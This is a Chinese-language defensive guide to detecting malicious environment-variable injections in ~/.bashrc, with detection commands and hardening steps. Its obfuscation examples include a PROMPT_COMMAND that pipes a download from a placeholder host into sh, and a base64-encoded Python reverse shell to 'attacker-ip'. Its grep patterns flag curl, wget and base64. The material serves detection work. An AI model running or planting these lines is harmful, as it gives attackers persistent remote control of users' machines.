直接检查~/.bashrc等配置文件中的可疑环境变量赋值是发现身份劫持类注入最有效的方式,重点排查prompt_command、path、ps1、ld_preload、ssh_connection等被异常修改的变量。

直接检查 ~/.bashrc 和关联配置文件中的可疑环境变量赋值,是发现身份劫持类注入最有效的方式。这类攻击不依赖远程连接或进程驻留,而是通过篡改 shell 初始化逻辑,在用户每次打开终端时悄悄重定义关键命令路径、伪造身份标识,甚至自动加载恶意模块。
重点检查哪些环境变量被异常修改
攻击者常劫持以下变量实现隐蔽控制:
- PROMPT_COMMAND:每执行一条命令前都会运行,适合记录操作、外传指令或触发下载
-
PATH:插入恶意目录(如
/tmp/.X11-unix)优先于系统路径,使ls、ps等命令实际调用伪装二进制 - PS1:嵌入不可见字符或 base64 编码的反连 payload,配合终端渲染漏洞触发
-
LD_PRELOAD:指向恶意 .so 文件,劫持 libc 函数调用(如
getuid返回 0 伪装 root) - SSH_CONNECTION / SSH_CLIENT:被篡改为固定值,干扰登录审计日志判断真实来源
快速定位可疑行的命令组合
不用逐行翻看,用 grep 配合上下文提取更可靠:
- 查所有用户级
.bashrc中含=赋值且含可疑关键词的行:find /home -name ".bashrc" -type f -exec grep -l "PROMPT_COMMAND\|LD_PRELOAD\|/tmp\|/dev/shm\|base64\|curl\|wget" {} \; - 查看 root 和常见管理账户的
.bashrc中非注释、非空行的实际赋值:grep -vE '^#|^$' /root/.bashrc | grep '=' - 对比正常 PATH 是否被前置了陌生路径:
echo $PATH | tr ':' '\n' | grep -E "^/tmp|^/dev|^/var/tmp"
识别典型伪装手法
以下不是“代码示例”,而是真实环境中高频出现的混淆写法:
- 用反斜杠换行隐藏逻辑:
PROMPT_COMMAND="curl -s http://x.x/x.sh \| sh &" - 用变量拼接绕过字符串检测:
a=c;b=ur;c=l; d=$a$b$c; $d -s http://... - 用 printf + base64 解码执行:
printf "aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoImF0dGFja2VyLWlwIiwgcG9ydCkpO29zLmR1cDIocy5maWxlbm8oKSwwKTsgb3MuZHVwMihzLmZpbGVubygpLDEpOyBvcy5kdXAyKHMuZmlsZW5vKCksMik7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7" | base64 -d | bash
清理与加固建议
发现后不要只删行,要同步处理衍生风险:
- 执行
chattr -i ~/.bashrc解除不可修改属性(攻击者常加+i) - 检查该文件是否被硬链接到其他位置:
ls -li ~/.bashrc查看 inode,再用find / -inum X 2>/dev/null扫描全盘 - 用
strings ~/.bashrc | grep -E "[a-zA-Z0-9+/]{20,}"提取潜在 base64 片段并解码验证 - 恢复后对文件设只读:
chmod 644 ~/.bashrc && chattr +i ~/.bashrc(仅限确认无误后)











